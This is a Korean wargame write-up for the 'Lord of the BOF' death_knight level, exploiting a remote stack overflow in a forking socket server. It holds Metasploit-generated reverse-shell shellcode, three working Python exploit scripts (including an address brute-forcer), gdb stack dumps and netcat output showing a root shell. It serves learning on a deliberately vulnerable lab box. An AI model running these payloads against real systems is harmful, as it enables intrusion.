BOF 원정대 – Level 20 (death_knight)

문제 소스는 아래와 같다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
        char buffer[40];

        int server_fd, client_fd;  
        struct sockaddr_in server_addr;   
        struct sockaddr_in client_addr; 
        int sin_size;

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }

        server_addr.sin_family = AF_INET;        
        server_addr.sin_port = htons(6666);   
        server_addr.sin_addr.s_addr = INADDR_ANY; 
        bzero(&(server_addr.sin_zero), 8);   

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
                perror("bind");
                exit(1);
        }

        if(listen(server_fd, 10) == -1){
                perror("listen");
                exit(1);
        }

        while(1) {  
                sin_size = sizeof(struct sockaddr_in);
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                        perror("accept");
                        continue;
                }

                if (!fork()){ 
                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
                        send(client_fd, "You : ", 6, 0);
                        recv(client_fd, buffer, 256, 0);
                        close(client_fd);
                        break;
                }

                close(client_fd);  
                while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
}

이번 문제는 Remote BOF 문제이다. 포트를 6666번을 열고 프로세스를 하나 fork 하면서 데몬이 동작하게 된다.
취약점은 buffer 변수의 크기보다 큰 데이터를 recv() 함수에서 받도록 되어 있어 해당 부분에서 오버플로우가 발생할 수 있다. 따라서 attach를 하여 디버깅을 하여 보도록 하자. 디버깅 전 우선 리모트로 공격을 하기 위한 코드를 작성해보자.

먼저 쉘코드이다. 쉘코드는 Metasploit에 있는 쉘코드를 이용해 보도록 하자.

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|

       =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 644 exploits - 328 auxiliary
+ -- --=[ 216 payloads - 27 encoders - 8 nops
       =[ svn r11749 updated today (2011.02.14)

msf > show payloads

Payloads
========

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
.
.
.
[생략]
.
.
.

   linux/x86/shell/find_tag                                          normal  Linux Command Shell, Find Tag Stager
   linux/x86/shell/reverse_ipv6_tcp                                  normal  Linux Command Shell, Reverse TCP Stager (IPv6)
   linux/x86/shell/reverse_tcp                                       normal  Linux Command Shell, Reverse TCP Stager
   linux/x86/shell_bind_ipv6_tcp                                     normal  Linux Command Shell, Bind TCP Inline (IPv6)
   linux/x86/shell_bind_tcp                                          normal  Linux Command Shell, Bind TCP Inline
   linux/x86/shell_find_port                                         normal  Linux Command Shell, Find Port Inline
   linux/x86/shell_find_tag                                          normal  Linux Command Shell, Find Tag Inline
   linux/x86/shell_reverse_tcp                                       normal  Linux Command Shell, Reverse TCP Inline
   linux/x86/shell_reverse_tcp2                                      normal  Linux Command Shell, Reverse TCP Inline - Metasm demo
   netware/shell/reverse_tcp                                         normal  NetWare Command Shell, Reverse TCP Stager
   osx/armle/execute/bind_tcp                                        normal  OSX Write and Execute Binary, Bind TCP Stager
   osx/armle/execute/reverse_tcp                                     normal  OSX Write and Execute Binary, Reverse TCP Stager
   osx/armle/shell/bind_tcp                                          normal  OSX Command Shell, Bind TCP Stager
   osx/armle/shell/reverse_tcp                                       normal  OSX Command Shell, Reverse TCP Stager
.
.
.

msf > use  linux/x86/shell_reverse_tcp
msf payload(shell_reverse_tcp) > show options

Module options (payload/linux/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address
   LPORT  4444             yes       The listen port

msf payload(shell_reverse_tcp) > set LHOST 192.168.3.1
LHOST => 192.168.3.1
msf payload(shell_reverse_tcp) > generate
# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
buf =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd" +
"\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53" +
"\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87" +
"\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68" +
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd" +
"\x80"
msf payload(shell_reverse_tcp) >

이제 Python으로 공격용 코드를 작성해 보도록 하자.

#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    a = s.recv(128)
    print '[+] Receive - %s' % a

    #######################
    # DEGUG
    debug = raw_input('Please hit enter to continue')
    #######################

    print '[+] Sending Payload'
    s.send(payload)

    s.close()

def main():
    host = '192.168.3.129'
    port = 31337

    payload = ''
    payload += 'A'*44
    payload += pack('<L', 0xbbbbbbbb)
    payload += '\x90'*100
    payload += shellcode

    send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

이제 모두 준비가 완료되었으니 디버깅을 해보도록 하자. 현재 서버에서 6666 포트로 데몬이 동작하고 있으나 해당 데몬을 디버깅 할 수 있는 권한이 없으므로 소스를 포트번호만 31337로 수정 후 컴파일 하여 아래와 같이 실행을 하자.

[xavius@localhost xavius]$ cp death_knight.c death_knight_modify.c
[xavius@localhost xavius]$ gcc death_knight_modify.c -o death_knight_modify   
[xavius@localhost xavius]$ ls
death_knight  death_knight.c  death_knight_modify  death_knight_modify.c
[xavius@localhost xavius]$ ./death_knight_modify &
[1] 682
[xavius@localhost xavius]$ id         
uid=519(xavius) gid=519(xavius) groups=519(xavius)
[xavius@localhost xavius]$ ps -ef | grep xavius
death_kn   632     1  0 23:07 ?        00:00:00 /home/xavius/death_knight
root       643   642  0 23:08 pts/0    00:00:00 login -- xavius            
xavius     644   643  0 23:09 pts/0    00:00:00 -bash2
xavius     682   644  0 23:23 pts/0    00:00:00 ./death_knight_modify
xavius     687   644  0 23:23 pts/0    00:00:00 ps -ef
xavius     688   644  0 23:23 pts/0    00:00:00 -bash2
[xavius@localhost xavius]$ 

현재 PID가 682번으로 데몬이 동작함을 알 수 있다. 여기서 위에서 작성한 Python 공격 코드를 실행하게 되면 Payload 전송 전 커서를 입력받도록 대기를 하게 되며 이 순간에 해당 데몬은 새로운 자식 프로세스를 fork 하게 된다. 아래는 위에서 작성한 Python 공격 코드를 실행 후 엔터를 치기 전 상태이다.

[xavius@localhost xavius]$ ps -ef | grep xavius
death_kn   632     1  0 23:07 ?        00:00:00 /home/xavius/death_knight
root       643   642  0 23:08 pts/0    00:00:00 login -- xavius            
xavius     644   643  0 23:09 pts/0    00:00:00 -bash2
xavius     682   644  0 23:23 pts/0    00:00:00 ./death_knight_modify
xavius     916   682  0 23:34 pts/0    00:00:00 ./death_knight_modify
xavius     919   644  0 23:35 pts/0    00:00:00 ps -ef
xavius     920   644  0 23:35 pts/0    00:00:00 -bash2
[xavius@localhost xavius]$ 

PID 682번이 자식 프로세스로 916 PID 프로세스를 생성했음을 알 수 있다. 따라서 우리는 916 프로세스에 attach를 하여 디버깅을 해야 한다. 디버깅 하는 과정은 아래와 같다.

[xavius@localhost xavius]$ gdb death_knight_modify
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) attach 916
Attaching to program: /home/xavius/death_knight_modify, Pid 916
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400cabc2 in __libc_recv () from /lib/libc.so.6
(gdb) disassemble main
Dump of assembler code for function main:
0x80488c4 <main>:       push   %ebp
0x80488c5 <main+1>:     mov    %esp,%ebp
0x80488c7 <main+3>:     sub    $0x54,%esp
0x80488ca <main+6>:     push   $0x0
0x80488cc <main+8>:     push   $0x1
0x80488ce <main+10>:    push   $0x2
0x80488d0 <main+12>:    call   0x804861c <socket>
0x80488d5 <main+17>:    add    $0xc,%esp
0x80488d8 <main+20>:    mov    %eax,%eax
0x80488da <main+22>:    mov    %eax,0xffffffd4(%ebp)
0x80488dd <main+25>:    cmpl   $0xffffffff,0xffffffd4(%ebp)
0x80488e1 <main+29>:    jne    0x8048900 <main+60>
0x80488e3 <main+31>:    push   $0x8048afb
0x80488e8 <main+36>:    call   0x804853c <perror>
0x80488ed <main+41>:    add    $0x4,%esp
0x80488f0 <main+44>:    push   $0x1
0x80488f2 <main+46>:    call   0x80485dc <exit>
0x80488f7 <main+51>:    add    $0x4,%esp
0x80488fa <main+54>:    lea    0x0(%esi),%esi
0x8048900 <main+60>:    movw   $0x2,0xffffffc0(%ebp)
0x8048906 <main+66>:    push   $0x7a69
0x804890b <main+71>:    call   0x80485fc <htons>
0x8048910 <main+76>:    add    $0x4,%esp
0x8048913 <main+79>:    mov    %eax,%eax
0x8048915 <main+81>:    mov    %ax,0xffffffc2(%ebp)
0x8048919 <main+85>:    movl   $0x0,0xffffffc4(%ebp)
0x8048920 <main+92>:    push   $0x8
0x8048922 <main+94>:    lea    0xffffffc0(%ebp),%eax
0x8048925 <main+97>:    lea    0x8(%eax),%edx
0x8048928 <main+100>:   push   %edx
0x8048929 <main+101>:   call   0x80485cc <bzero>
0x804892e <main+106>:   add    $0x8,%esp
0x8048931 <main+109>:   push   $0x10
0x8048933 <main+111>:   lea    0xffffffc0(%ebp),%edx
0x8048936 <main+114>:   mov    %edx,%eax
0x8048938 <main+116>:   push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048939 <main+117>:   mov    0xffffffd4(%ebp),%eax
0x804893c <main+120>:   push   %eax
0x804893d <main+121>:   call   0x80485bc <bind>
0x8048942 <main+126>:   add    $0xc,%esp
0x8048945 <main+129>:   mov    %eax,%eax
0x8048947 <main+131>:   cmp    $0xffffffff,%eax
0x804894a <main+134>:   jne    0x8048963 <main+159>
0x804894c <main+136>:   push   $0x8048b02
0x8048951 <main+141>:   call   0x804853c <perror>
0x8048956 <main+146>:   add    $0x4,%esp
0x8048959 <main+149>:   push   $0x1
0x804895b <main+151>:   call   0x80485dc <exit>
0x8048960 <main+156>:   add    $0x4,%esp
0x8048963 <main+159>:   push   $0xa
0x8048965 <main+161>:   mov    0xffffffd4(%ebp),%eax
0x8048968 <main+164>:   push   %eax
0x8048969 <main+165>:   call   0x804856c <listen>
0x804896e <main+170>:   add    $0x8,%esp
0x8048971 <main+173>:   mov    %eax,%eax
0x8048973 <main+175>:   cmp    $0xffffffff,%eax
0x8048976 <main+178>:   jne    0x8048990 <main+204>
0x8048978 <main+180>:   push   $0x8048b07
0x804897d <main+185>:   call   0x804853c <perror>
0x8048982 <main+190>:   add    $0x4,%esp
0x8048985 <main+193>:   push   $0x1
0x8048987 <main+195>:   call   0x80485dc <exit>
0x804898c <main+200>:   add    $0x4,%esp
0x804898f <main+203>:   nop    
0x8048990 <main+204>:   nop    
0x8048991 <main+205>:   jmp    0x8048998 <main+212>
0x8048993 <main+207>:   jmp    0x8048a60 <main+412>
0x8048998 <main+212>:   movl   $0x10,0xffffffac(%ebp)
0x804899f <main+219>:   lea    0xffffffac(%ebp),%eax
0x80489a2 <main+222>:   push   %eax
0x80489a3 <main+223>:   lea    0xffffffb0(%ebp),%edx
0x80489a6 <main+226>:   mov    %edx,%eax
0x80489a8 <main+228>:   push   %eax
---Type <return> to continue, or q <return> to quit---
0x80489a9 <main+229>:   mov    0xffffffd4(%ebp),%eax
0x80489ac <main+232>:   push   %eax
0x80489ad <main+233>:   call   0x804855c <accept>
0x80489b2 <main+238>:   add    $0xc,%esp
0x80489b5 <main+241>:   mov    %eax,%eax
0x80489b7 <main+243>:   mov    %eax,0xffffffd0(%ebp)
0x80489ba <main+246>:   cmpl   $0xffffffff,0xffffffd0(%ebp)
0x80489be <main+250>:   jne    0x80489d0 <main+268>
0x80489c0 <main+252>:   push   $0x8048b0e
0x80489c5 <main+257>:   call   0x804853c <perror>
0x80489ca <main+262>:   add    $0x4,%esp
0x80489cd <main+265>:   jmp    0x8048991 <main+205>
0x80489cf <main+267>:   nop    
0x80489d0 <main+268>:   call   0x804854c <fork>
0x80489d5 <main+273>:   mov    %eax,%eax
0x80489d7 <main+275>:   test   %eax,%eax
0x80489d9 <main+277>:   jne    0x8048a30 <main+364>
0x80489db <main+279>:   push   $0x0
0x80489dd <main+281>:   push   $0x34
0x80489df <main+283>:   push   $0x8048b20
0x80489e4 <main+288>:   mov    0xffffffd0(%ebp),%eax
0x80489e7 <main+291>:   push   %eax
0x80489e8 <main+292>:   call   0x80485ec <send>
0x80489ed <main+297>:   add    $0x10,%esp
0x80489f0 <main+300>:   push   $0x0
0x80489f2 <main+302>:   push   $0x6
0x80489f4 <main+304>:   push   $0x8048b55
0x80489f9 <main+309>:   mov    0xffffffd0(%ebp),%eax
0x80489fc <main+312>:   push   %eax
0x80489fd <main+313>:   call   0x80485ec <send>
0x8048a02 <main+318>:   add    $0x10,%esp
0x8048a05 <main+321>:   push   $0x0
0x8048a07 <main+323>:   push   $0x100
0x8048a0c <main+328>:   lea    0xffffffd8(%ebp),%eax
0x8048a0f <main+331>:   push   %eax
0x8048a10 <main+332>:   mov    0xffffffd0(%ebp),%eax
0x8048a13 <main+335>:   push   %eax
---Type <return> to continue, or q <return> to quit---
0x8048a14 <main+336>:   call   0x804860c <recv>
0x8048a19 <main+341>:   add    $0x10,%esp
0x8048a1c <main+344>:   mov    0xffffffd0(%ebp),%eax
0x8048a1f <main+347>:   push   %eax
0x8048a20 <main+348>:   call   0x804852c <close>
0x8048a25 <main+353>:   add    $0x4,%esp
0x8048a28 <main+356>:   jmp    0x8048a60 <main+412>
0x8048a2a <main+358>:   lea    0x0(%esi),%esi
0x8048a30 <main+364>:   mov    0xffffffd0(%ebp),%eax
0x8048a33 <main+367>:   push   %eax
0x8048a34 <main+368>:   call   0x804852c <close>
0x8048a39 <main+373>:   add    $0x4,%esp
0x8048a3c <main+376>:   lea    0x0(%esi,1),%esi
0x8048a40 <main+380>:   push   $0x1
0x8048a42 <main+382>:   push   $0x0
0x8048a44 <main+384>:   push   $0xffffffff
0x8048a46 <main+386>:   call   0x804858c <waitpid>
0x8048a4b <main+391>:   add    $0xc,%esp
0x8048a4e <main+394>:   mov    %eax,%eax
0x8048a50 <main+396>:   test   %eax,%eax
0x8048a52 <main+398>:   jg     0x8048a56 <main+402>
0x8048a54 <main+400>:   jmp    0x8048a58 <main+404>
0x8048a56 <main+402>:   jmp    0x8048a40 <main+380>
0x8048a58 <main+404>:   jmp    0x8048991 <main+205>
0x8048a5d <main+409>:   lea    0x0(%esi),%esi
0x8048a60 <main+412>:   mov    0xffffffd4(%ebp),%eax
0x8048a63 <main+415>:   push   %eax
0x8048a64 <main+416>:   call   0x804852c <close>
0x8048a69 <main+421>:   add    $0x4,%esp
0x8048a6c <main+424>:   leave  
0x8048a6d <main+425>:   ret    
0x8048a6e <main+426>:   nop    
0x8048a6f <main+427>:   nop    
End of assembler dump.
(gdb) b *main+341
Breakpoint 1 at 0x8048a19
(gdb) c
Continuing.

위와 같이 작업을 한 후 실행한 Python 공격코드에서 엔터를 치게 되면 우리가 지정한 브레이크 포인트에 멈추게 된다.
멈추가 되면 그때 스택의 주소를 확인하면 된다.

Breakpoint 1, 0x8048a19 in main ()
(gdb) x/32wx $esp
0xbffffaa4:     0x00000004      0xbffffae0      0x00000100      0x00000000
0xbffffab4:     0x00000010      0xe60a0002      0x0103a8c0      0x00000246
0xbffffac4:     0x023a2065      0x697a0002      0x00000000      0x00000000
0xbffffad4:     0x00000000      0x00000004      0x00000003      0x41414141
0xbffffae4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaf4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb04:     0x41414141      0x41414141      0xbbbbbbbb      0x90909090
0xbffffb14:     0x90909090      0x90909090      0x90909090      0x90909090
(gdb) 
0xbffffb24:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb34:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb44:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb54:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb64:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffb74:     0xe3f7db31      0x6a534353      0xb0e18902      0x5b80cd66
0xbffffb84:     0xa8c0685e      0x68660103      0x53665c11      0x5051106a
0xbffffb94:     0x6a43e189      0x80cd5866      0xb0d98759      0x4980cd3f
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbbbbbbbb in ?? ()
(gdb) 

실행 후 확인한 결과 우리가 원하는 대로 리턴 주소가 0xbbbbbbbb로 변경되었음을 알 수 있다. 따라서 아래와 같이 PAYLOAD를 작성 후 공격을 진행하면 될 것으로 보인다.

[AAA….. 44 Byte] [NOP가 위치한 주소, 넉넉잡아 0xbffffb34] [NOP, 100 Byte] [SHELLCODE]

공격코드를 작성하면 아래와 같다.

#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    a = s.recv(128)
    print '[+] Receive - %s' % a

    #######################
    # DEGUG
    # debug = raw_input('Please hit enter to continue')
    #######################

    print '[+] Sending Payload'
    s.send(payload)

    s.close()

def main():
    host = '192.168.3.129'
    port = 31337

    payload = ''
    payload += 'A'*44
    payload += pack('<L', 0xbffffb34)
    payload += '\x90'*100
    payload += shellcode

    send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

위 코드로 공격을 진행하기 전 netcat으로 아래와 같이 리스닝 모드로 대기한 후 공격코드를 실행하면 연결이 됨을 확인할 수 있다.

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed:  : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026
id
uid=519(xavius) gid=519(xavius) groups=519(xavius)

이제 본 프로그램에 공격을 하자. 위 코드로 포트만 6666 으로 변경 후 공격을 해보면 공격이 성공하지 않음을 알 수 있다. 이는 리턴주소가 우리가 디버깅한 데몬이랑 약간 차이가 나서 그럴 것으로 보인다. 따라서 우리가 확인한 주소에서 조금씩 더해가며 브루트포스 공격을 해야 한다. 수정한 공격 코드는 아래와 같다.

#!/usr/bin/env python
import sys
import socket
import time
from struct import pack

# linux/x86/shell_reverse_tcp - 71 bytes
# http://www.metasploit.com
# LHOST=192.168.3.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode = ''
shellcode += '\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd'
shellcode += '\x80\x5b\x5e\x68\xc0\xa8\x03\x01\x66\x68\x11\x5c\x66\x53'
shellcode += '\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87'
shellcode += '\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68'
shellcode += '\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd'
shellcode += '\x80'

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    a = s.recv(128)
    print '[+] Receive - %s' % a

    #######################
    # DEGUG
    # debug = raw_input('Please hit enter to continue')
    #######################

    print '[+] Sending Payload'
    s.send(payload)

    s.close()

def main():
    for x in range(1, 1000):
        print hex(0xbffffb34+x)
        host = '192.168.3.129'
        port = 6666

        payload = ''
        payload += 'A'*44
        payload += pack( '<L', 0xbffffb34+(x*4) )
        payload += '\x90'*100
        payload += shellcode

        send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()

0xbffffb34 주소에서 4씩 증가시키며 공격을 진행하는 코드이다. 실행 후 잠시 기다리면 아래와 같이 쉘을 획득할 수 있다.

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed:  : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1026
id
uid=519(xavius) gid=519(xavius) groups=519(xavius)
 sent 3, rcvd 51

C:\cygwin\bin>
C:\cygwin\bin>nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.3.129: inverse host lookup failed:  : Operation not permitted
connect to [192.168.3.1] from (UNKNOWN) [192.168.3.129] 1027
id
uid=0(root) gid=0(root) euid=520(death_knight) egid=520(death_knight)
my-pass
euid = 520
got the life
cd /home/death_knight/
ls
dropped_item.txt
cat dropped_item.txt

 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다